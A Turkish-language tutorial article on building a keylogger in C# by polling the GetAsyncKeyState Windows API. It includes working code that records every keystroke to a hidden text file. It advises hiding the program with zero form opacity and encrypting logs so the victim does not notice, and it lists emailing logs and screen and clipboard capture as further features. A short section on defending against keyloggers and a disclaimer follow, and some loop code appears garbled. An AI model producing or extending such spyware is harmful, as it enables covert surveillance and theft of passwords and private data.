Makalede, bir klavye
dinleyici(Key Logger) nasıl yazılabilir sorusuna yanıt arayacağız. Klavye dinleyiciler,
gerçekte görünmez olarak çalışan ve arka planda klavyeye girilen ifadeleri not
eden uygulamalar olup, çok farklı teknikleri kullanılarak geliştirilmiş olabilirler.
Biz bu yöntemlerden, GetAsyncKeyState Windows API sinin kullanımı
ile çalışan bir uygulama geliştirmeyi ele alacağız. Son olarak, bir klavye dinleme
sisteminden nasıl korunulabileceğini ayrı bir başlık altında özetleyerek, özel
hayatın mahremiyetine katkıda bulunmak istedim.
Giriş
Klavye dinleme
sistemleri genel olarak yazılım ve donanım temelli olmak üzere iki genel kategoride
incelenirler. Biz burada yazılım grubunu detaylandırdıktan sonra, API kullanarak
basit bir klavye dinleme sistemini gerçeklemeye çalışacağız.
Donanım temelli
sistemler, genel olarak klavyenin içine, klavyenin kasa girişine veya kasadaki
klavye girişi ile anakart arasına takılabilir. Böyle bir sistem, ilk bakışta
çoğu zaman görülebilir olsa da, özellikle klavye ve kasa içindeki sistemleri
görmek özellikle bakılmadığı sürece olağan dışı olacaktır. Bu tür sistemler,
2 milyon tuş kaydını kaydedebilecek şekilde yapılmış ve bu toplamda, ortalama
bir kişinin 12 ayda doldurabileceği bir kapasite olarak tanıtılıyor( http://www.keyghost.com/sx).
Bu tür sistemlerin dezavantajı, uygulama ve ekran görünümü gibi bilgilere ulaşamamasıdır.
Avantajları ise kolay kolay sezinlenemez olmalarıdır.
Yazılım Temelli
Klavye Dinleme Sistemleri
Windows kullanan
sistemlerde yazılım temelli olarak klavye dinleme sistemlerini gerçekleştirmenin
üç temel yöntemi vardır:
- int 0x9 kesmesini
dinleyerek sisteme klavyeden gelen girdileri kaydetmek
- GetAsyncKeyStateWindows
API sini kullanarak tuşları bir döngüde bu API ye göndererek hangi tuşa
basıldığını not etmek
- Global Windows
kancaları (Hooks) kullanarak Windowsun mesajlaşmalarından dinlemek ve bir
sonraki işleme durumu değiştirmeden geçiş sağlamak
Biz bu makalede,
ikinci yöntem ile basit bir uygulama geliştireceğiz. Projemizle bir alakası
olmamasına rağmen, yeri gelmişken belirtmekte fayda var; Hook larla yazılan
bir klavye dinleme sistemi, bizim yazdığımıza göre çok daha iyi performans sağlar.
Ama Hooklara erişim kodlamak için C++ daha uygun bir dil iken, C# ile bu türden
bir gerçekleme C++a oranla çok daha zahmetli bir hal almakta. C++da yazılmış
bileşenleri, C# ile kullanarak kurgulanmış bir Global Hook uygulamasını şu adreste
inceleyebilirsiniz: http://www.codeproject.com/csharp/GlobalSystemHook.asp
Uygulamanın Kalbi
Herhangi bir tuşa
basılıp basılmadığını kontrol etmek için, user32.dllde yer alan GetAsyncKeyState
Windows API sini kullanacağımızı belirtmiştik. Şimdi bu işlem için, C#ta bir
API, bir sınıfın parçası olarak nasıl tanımlanır bir göz atalım:
[DllImport("user32.dll”)]
public static extern int GetAsyncKeyState(long vKey);
Bu tanımlamayı,
bir sınıf içerisinde yaparsak, bir Windows API si olarak gerçeklenmiş olan,
GetAsyncKeyState adında, sınıfımıza ait, özel bir metot elde etmiş
oluruz. Bu metot dışarıdan long türünde bir klavye kodu değeri alacak ve daha
sonra bir int değer döndürecektir. Şayet int türünden döndürdüğü değer 0 ise,
başta yollanan numaraya karşılık gelen tuşa basılmamış demektir. Öte yandan,
o anda basılan tuşun karşılığı long değer bu metoda verildi ise bize döndüreceği
değer int16 ile tanımlanabilecek en küçük tamsayının bir fazlası olacaktır.
(Int16.MinValue + 1)
Ancak burada şöyle
bir sorun ortaya çıkmakta, her seferinde bu metoda öyle bir sayı göndermeliyiz
ki, bu tuş o anda basılan tuş olmalı. Bu işlem için de klavyeden gelen tuşların
karşılığı ASCII değerleri(0-255 arasında olduğunu varsayarsak), şöyle bir döngü
içerisinde kullanabiliriz:
for
( byte i=0; i[[255;i++)
{
tus = GetAsyncKeyState(i);
if (tus == -32767)
{
// bu tuşa basılmış loglanacak
break; // artık dönmeye gerek yok.
}
}
Böylelikle son
basılan tuşun hangisi olduğunu anlayabileceğimiz bir kod elde etmiş olduk. Ancak
bunun sürekli bir döngü içerisinde çalışması gerekir. Bu nedenle bunu bir Timer
nesnesinin Tick olayında çağırmamız gerekecektir. Timer nesnesinin Tick olayı,
nesneye ait Interval özelliğine atanan değer kadarlık aralıklarla yeniden tetiklenir.
Bu durumda, bizim kodlarımız da sürekli olarak çalışacaktır. Ancak bunun sisteme
bir maliyet getirdiği gözden kaçırılmamalıdır.
Ardından, burada
elde ettiğimiz tuş bilgisini bir metin dosyasına yazacağız. Normalde, bu bilgiler
şifrelendikten sonra dosyalanarak, şüphelenen kurbanın durumu fark etmesinin
önüne geçilir. Bu iş işin DES3 algoritması kullanılabilir.( http://www.aspemporium.com/howto.aspx?hid=10
) Ancak biz, uygulamayı basit tutmak için böyle bir yönteme yer vermeyeceğiz.
Uygulamanın Tamamlanması
Bu kısa bilgilerden
sonra, uygulamanın tanımlanması kısmına gelelim. Öncelikle, Visual Studio .NET
2003te bir yeni C# Windows Uygulaması açalım. Default olarak gelen Form1e
bir adet timer nesnesi ve bir adet de textbox nesnesi ekledikten sonra, textbox
nesnesinin çoklu satır özelliğini aktif edelim ve formun içerisinde büyütelim.
Timer nesnesinin Interval özelliğini 50 verelim ve Enabled özelliğini de aktif
edelim.
Daha sonra bir
önceki aşamada anlattıklarımızı bir sınıf olarak gerçekleyelim. Bunun için öncelikle
bir C# Class File ekleyelim ve içerisine şu kodları yazalım:
public
class TusKontrol{
[DllImport("user32.dll", CharSet=CharSet.Ansi)]
public static extern int GetAsyncKeyState( long vKey);
// herhangi bir tus basildi ise, MIN(Int16)+1 döndürüyor.
public static bool BuTusaMiBasildi( byte tusKod)
{
if ( TusKontrol .GetAsyncKeyState(( long )tusKod)== System.Int16.MinValue
+ 1 )
return true ;
else
return false ;
}
public static void LogDosyasinaYazdir( string tamDosyaYolu, string tusAdi)
{
StreamWriter DuzMetinDosyasi = new StreamWriter(tamDosyaYolu, true
);
DuzMetinDosyasi.Write(tusAdi);
DuzMetinDosyasi.Close();
}
Şekil1. Projemizde yer alan dosyalar
Son olarak, timer
nesnesini çift tıklayarak Tick olayına geçelim. Buradan, KlavyeDinleyici sınıfının
statik üyelerine erişerek klavyede basılan tuşları öğrenip kaydedeceğiz. Aynı
zamanda da ekranda(textboxı bunun için ekledik) göstereceğiz. Ardından:
private
void timer1_Tick( object sender, System.EventArgs e)
{
for ( byte i=0;i[[255;i++)
{
if (KlavyeDinleyici.TusKontrol.BuTusaMiBasildi(i))
{
string tus = Convert.ToChar(i).ToString();
KlavyeDinleyici.TusKontrol.LogDosyasinaYazdir(@"c:\klavyedinlendi.txt",tus);
textBox1.Text += tus;
break ;
}
}
System.Windows.Forms.Application.DoEvents();
}
şeklinde kodlarımızı
tamamlayabiliriz.
Burada dikkat
edilirse, Timer nesnesinin tick olayı içerisinde, DoEvent() Statik metodunu
çağırarak, döngü dışındaki işlemlerin yapılması için CPUya fırsat tanıdık.
Şekil2. Uygulamanın çalışma anından bir resim. Note Padde yazılanlar,
program tarafından yakalanmakta.
Son olarak, burada
yer almasa da klavye dinleyiciyi görünmez yapmak için, formun opacity özelliğine
0 değerini verebilirsiniz.
Klavye Dinleme
Sistemlerinden Korunmak İçin
Klavye dinleme
sistemleri, bir çok Internet korsancılığına adı karışmış bir bilgi dinleme yöntemidir.
Bu nedenle, ciddi önlemler almak gerekir. Burada, sisteminizde bir klavye dinleme
sistemi bulunma ihtimaline karşılık alınmasında fayda bulunan önlemleri sıralayacağım.
Bir kısmı, paronaya seviyede olabilecek bu önlemleri işinizin ve özel bilgilerinize
saldırı ihtimaline göre es geçebilirsiniz.
- Bilgisayarınızı
açmadan, klavye kablosunu bir takip edin. Klavyenizin girişine ve diğer donanım
takılabilir yerlere göz atmayı alışkanlık haline getirin
- Antivirüs programınızın,
genel olarak klavye dinleyici yazılımları yakalayıp yakalamadığını kontrol
edin. Yakalamıyorsa, klavye dinleyicileri yakalayan özel amaçlı yazılımlar
mevcut ve bunlardan birini kullanabilirsiniz.
- Sisteminizde,
bilinmedik bir nedenle büyüyen dosyalar varsa, durumlarını kontrol edin. Bu
tür dosyaları otomatik yakalayan programlardan faydalanabilirisiniz.
- Her bilgisayarda,
önemli bilgilerinizi klavyeden giriş yapmayın. Örneğin Internet Cafeler bu
konuda sabıkası kabarık yerlerdir.
- Sanal klavyelerden
faydalanın.
- Hassas bir bilgi
girişi yapmanız gerekiyorsa ve tehdit altında olduğunuzu düşünüyorsanız, her
geçen gün yeni sistemlerin geliştirildiğini aklınızdan çıkarmayın.
Sonuç
C# ile API lere
erişim görüldüğü üzere oldukça kolaydır. Bir klavye dinleme sistemi kolayca
kodlanabilir. Burada yazdığımız uygulama, standart bir klavye dinleme sisteminin
sağlaması gereken özelliklerin sadece bir kaçını sağlamakta. Buradakilerin dışında,
görev çubuğu ve görev yönetim menülerinden gizli çalışabilen, kaydettiği bilgileri
şifreli kaydeden ve e-mail gibi uzaktan erişim sağlama,Ekran yakalama ve Pano(clipboard)
izleme standart bir klavye dinleme sisteminin sağlaması gereken özelliklerden
sadece bir kaçıdır.
NOT: Burada
anlatılanlar, sadece eğitim amaçlıdır. Anlatılan tekniklerin özel hayatın mahremiyetine
yönelik kullanımından yazar sorumlu değildir.
Uyulamayı İndirmek için tıklayınız.
Makale:
C# ile Klavye Dinleyici Yazmak C#, Visual C# ve .NET Yaşar Gözüdeli
|